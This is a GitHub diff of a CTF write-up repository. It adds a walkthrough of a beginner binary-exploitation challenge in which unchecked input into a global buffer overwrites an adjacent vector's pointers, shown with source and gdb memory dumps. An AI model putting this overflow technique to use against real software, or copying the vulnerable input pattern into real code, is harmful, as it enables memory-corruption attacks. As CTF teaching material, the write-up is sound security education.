You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardexpand all lines: solve/dna/index.md
+1-1
Original file line number
Diff line number
Diff line change
@@ -13,7 +13,7 @@ Category: reverse engineering
13
13
Solved: 148
14
14
15
15
!!! quote "Description"
16
-
16
+
Our flightless birds can run upto 50km/h but we want them to go faster. I've been messing with a mutigen but it seems to have corrupted. Can you help me recover this research?
Copy file name to clipboardexpand all lines: solve/sssshhhh/index.md
+1-1
Original file line number
Diff line number
Diff line change
@@ -13,7 +13,7 @@ Category: reverse engineering
13
13
Solved: 81
14
14
15
15
!!! quote "Description"
16
-
16
+
Great news! We found the Kookaburras!... Bad news.. They're locked up. We've managed to get access to the central terminal and ripped a binary off of it for you to analyse. Maybe you can find a way to free our friends?
Ie, first character of string `Hello World!` is `H`, fifth is `o`.
33
71
34
72
* Solution code was redacted for readability purposes. Due to time pressure during the competition I was using a lot of one-letter variables and questionable code structure.
73
+
* I am using gdb with [pwndbg](https://github.com/pwndbg/pwndbg) plugin
35
74
36
75
## My struggle
37
76
77
+
### Analysis
78
+
79
+
This is one of the most straightforward challenges that is a good introduction to binary exploitation.
80
+
81
+
First review source code to understand what the program intends to do and where is vulnerability we can target:
82
+
83
+
```c title="trimmed source code with explanaition"
84
+
char buf[16];
85
+
std::vector<char> v = {'X', 'X', 'X', 'X', 'X'};
86
+
87
+
int main() {
88
+
char ductf[6] = "DUCTF"; // initializes ductf to string "DUCTF"
89
+
char* d = ductf;
90
+
91
+
std::cin >> buf; // read user input into global variable buf
92
+
// compare variable ductf with global variable v,
93
+
// if they are equal, execute win()
94
+
// otherwise execute lose()
95
+
if(v.size() == 5) {
96
+
for(auto &c : v) {
97
+
if(c != *d++) {
98
+
lose();
99
+
}
100
+
}
101
+
102
+
win();
103
+
}
104
+
105
+
lose();
106
+
}
107
+
```
108
+
109
+
So, in order to execute `win()` we should change variable v to be `DUCTF`, notice how global variables are next to each other?
110
+
`v` is declared right after `buf`, this means that there is a good chance that in memory they also will be placed sequentially
111
+
one after another.
112
+
113
+
We can test this theory and find locations of global variables by inspecting the binary. First, lets check its general information:
0x4051f0 <v>: 0xb0 0x82 0x41 0x00 0x00 0x00 0x00 0x00 # start of variable v first 8 bytes is pointer to start of content of the vector
193
+
0x4051f8 <v+8>: 0xb5 0x82 0x41 0x00 0x00 0x00 0x00 0x00 # second pointer of v points to end of content of the vector
194
+
```
195
+
196
+
Note that pointer addresses that we saw before (0x00000000004182b0, 0x00000000004182b5) are written in little endian format (reversed of
197
+
what we used to). For example value `0x0055000004000201` is stored as `0x01 0x02 0x00 0x04 0x00 0x00 0x55 0x00` in memory.
198
+
199
+
Our goal is to achieve following memory state:
200
+
```bash
201
+
(gdb) x/32bx 0x4051e0 # read 32 bytes at buf address
202
+
0x4051e0 <buf>: 'D''U''C''T''F' 0x00 0x00 0x00 # start out input with DUCTF
203
+
0x4051e8 <buf+8>: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 # rest of the buffer is not important
204
+
0x4051f0 <v>: 0xe0 0x51 0x40 0x00 0x00 0x00 0x00 0x00 # first pointer of v should point to DUCTF that we entered above
205
+
0x4051f8 <v+8>: 0xe5 0x51 0x40 0x00 0x00 0x00 0x00 0x00 # second pointer of v should point to end string DUCTF
206
+
```
207
+
208
+
If all required bytes were ascii printable it would be easy to enter them manually, but they don't so I used [pwntools](https://github.com/Gallopsled/pwntools).
209
+
This is CTF framework for binary exploitation, its only "disadvantage" is it has all features you can think of, so it can be overwhelming sometimes.
0 commit comments